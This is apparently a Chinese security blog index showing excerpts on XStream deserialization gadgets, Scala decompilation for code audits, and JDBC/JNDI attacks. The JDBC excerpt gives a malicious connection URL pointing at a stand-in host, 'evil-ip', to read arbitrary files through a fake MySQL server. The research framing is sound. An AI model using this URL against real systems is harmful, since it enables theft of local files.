Java XStream 反序列化:Gadget 挖掘思路分享

0x01 前言 Java语言中最常见的一类漏洞就是反序列化漏洞,在各种数据格式到Java对象的转化过程中,常常存在这类漏洞。常见的数据类型例如jdk提供的原生序列化数据、json、yaml、xml等等。针对这类漏洞存在一种特别的漏洞挖掘方式—Gadget挖掘,这种漏洞挖掘不需要去寻找特定的外部入口漏洞入口,入口往往是公开的,应用通过对传入的数据内容进行过滤和检查。XStream是一款针对XML和Java对象转换而开发的工具库,由于其本身的一些特点,成为了这类漏洞挖掘里一个很典型的例子,因此本文针对XStream进行Gadget挖掘分析。本文更多的是分享Gadget挖掘时的思路,进而可以在其他类型的序列化中进行类似的思考和尝试。 0x02 XStream简介 XStream是一个常用的Java对象和XML相互转换的Java库。 从java对象到XML: 从XML到Java对象: XStream在1.4.18版本以前是存在许多CVE的,核心原因在于的它使用类的黑名单进行防御,因此层出不穷的绕过,在1.4.18版本以后默认为白名单,用户需要自行根据需要使用的类进行配置,到这个版本XStream才没有继续爆出高危的反序列化漏洞。 值得一提的是,XStream中有CVE编号的利用链都是不依赖任何第三方库,纯利用JDK中的类进行利用,由此可见XStream对于反序列化的宽泛程度。 0x03 历史漏洞 简单介绍一下XStream反序列的特点。反序列化漏洞的本质是,基于可以利用的Java类:序列化数据流→Source→Gadget→Sink。 对于原生的Java反序列化来说,可以利用的Java类是任意实现了Serializable的类,入口是ObjectInputStream的readObject方法。 对于XStream来说,可以利用的Java是任意类,入口是XStream的fromXML方法。 以一个经典的CVE-2013-7285来说,poc如下,执行的sink是ProcessBuilder.start() XStream中有一系列的Converter,用于对不同的标签进行转化。 这里sorted-set标签对应的是TreeSetConverter,它的代码逻辑中会调用TreeMap的put方法,而TreeMap的put方法会调用方法的compare方法对传入Map的对象进行判断对象应该存放的位置 public V put(K key, V value) { ... // split comparator and comparable paths Comparator<? super K> cpr = comparator; if (cpr != null) { do { parent = t; cmp = cpr.compare(key, t.key); if (cmp < 0) t = t.left; else if (cmp > 0) t = t.right; else return t.setValue(value); } while (t !...

2025年01月22日 · 4 分钟 · yyhy

Scala代码审计之痛 -- Scala与Java的爱恨情仇

一、前言 Scala 是一门多范式的编程语言,集成了面向对象编程和函数式编程的多种特性。函数式编程抽象的理论基础也让这门语言变得抽象起来,初学者需要花更多的时间去理解其特有概念以及众多的语法糖。Scala是一门运行在JVM平台上的语言,其源码编译结果符合Java字节码规范,所以可以被反编译为Java代码。在进行Scala代码审计的过程中,审计者很少有机会直面其源码,大多数时候都是被反编译为Java的代码所支配。Scala与Java毕竟是两门语言,反编译成Java代码的后果便是丧失了动态调试的能力(这为审计者带来了不小的麻烦),反编译后产生的中间代码、临时变量等辅助结构更是极大得降低了代码的可读性。本文将带领诸位抽丝剥茧逐步梳理出Scala各语法结构与Java语法结构对应关系,最后以两个漏洞案例的分析加以对比说明。 二、特殊语法结构识别 除了循环、条件判断、面向对象等基础语法外,Scala还提供了极具特色的语法结构,如:模式匹配、隐式转换、传名调用、函数柯里化、伴生对象、特质、提取器、函数式编程等。本章不会重点着墨于这些语法的介绍,而是向读者展示在将Scala源程序反编译为Java代码后产生的那些不太常规的语法结构以及一些奇怪的变量(MODULE$/$outer/package/$init$)等。 2.1 伴生对象 本节将会涉及到特殊变量MODULE$的含义 Scala中没有static关键字,其通过伴生对象来实现static的效果。伴生对象是类自身定义的单个实例,可以被理解为当前类的一个单例对象(并不显式依赖一个类,可独立存在),以下代码展示了一个类的伴生对象: package org.example class Singletons(){ private var llac: String = "九敏啊,我是伴生类的私有属性,我被伴生对象调用了" private def callSingleField(): Unit = { // 调用伴生对象的私有属性 println(Singletons.call) } } object Singletons { private var call: String = "九敏啊,我是伴生对象的私有属性,我被伴生类调用了" def sayHello(llac: String): Unit = { println(llac) } def main(args: Array[String]): Unit = { val s: Singletons = new Singletons() // 调用伴生类的私有属性 sayHello(s.llac) // 调用伴生类的私有方法 s.callSingleField() } } 在上面提供的代码中,被关键字object修饰的对象被称为类Singletons的伴生对象,类Singletons被称为object关键字修饰的对象的伴生类,两者可互相调用其私有属性以及方法。 Scala语言是运行在jvm上的,其最终编译结果符合Java字节码规范,于是便可以将其反编译成为Java代码进行查看,这样会得到与Scala源代码迥然不同的代码结构,并产生一些中间代码。审计者在进行Scala代码审计时大多数时候面对的都是被反编译成为Java代码的Scala程序,所以如何快速高效地识别Scala代码转换后的语言结构就尤为重要,特别是一些特殊的变量。 以下便是上文Scala源代码反编译成为Java代码后的形态:...

2024年08月07日 · 16 分钟 · falc0n_leo

JDBC Attack 与高版本 JDK 下的 JNDI Bypass

一、前言 JNDI 注入作为 Java 攻击的常见 Sink 点,通常被用于 Weblogic 以及 Fastjson 等常见目标的攻击流程中,而 JNDI 注入的利用经过 JDK 新版本对相关利用的修复,以及一些常见依赖利用方式的变化,在高版本 JDK 中,其利用逐渐遭遇了困境。而 JDBC Attack,作为针对 Java 数据库引擎的一种攻击方式,除了其常规的利用方式之外,也可以与原生反序列化结合起来,实现对 JNDI 攻击的扩展,解决高版本下 JNDI 注入的困境。 二、关于 JDBC Attack 首先是关于基础的JDBC Attack的一些回顾,JDBC 是Java应用在连接不同的底层数据库引擎时使用的抽象层,使得Java应用可以用相同的接口对各种不同的数据库进行抽象的控制,JDBC使用如下的URL格式进行连接。 Class.forName("com.mysql.cj.jdbc.Driver"); String url = "jdbc:mysql://mysql.db.server:3306/my_database?useSSL=false&serverTimezone=UTC" Connection conn = DriverManager.getConnection(url) 而该URL中,后面的可控参数就是针对不同数据库Driver进行利用的入口。 接下来我们来回顾一下常见的几个 Driver 的利用: 2.1 MySQL Driver 针对MySQL Driver的通用利用主要是使用 Fake Server 进行任意文件读,首先需要配置 MySQL fake server,然后开启 allowLoadLocalInfile=true 设置,构造形如 jdbc:mysql://evil-ip:3306/test?allowLoadLocalInfile=true 的 URL 去请求 fake server 即可进行利用。 对于 MySQL 也可以打反序列化,但是有版本限制,只有较老的 <= 8.0.20, < 5....

2024年07月24日 · 5 分钟 · crumbledwall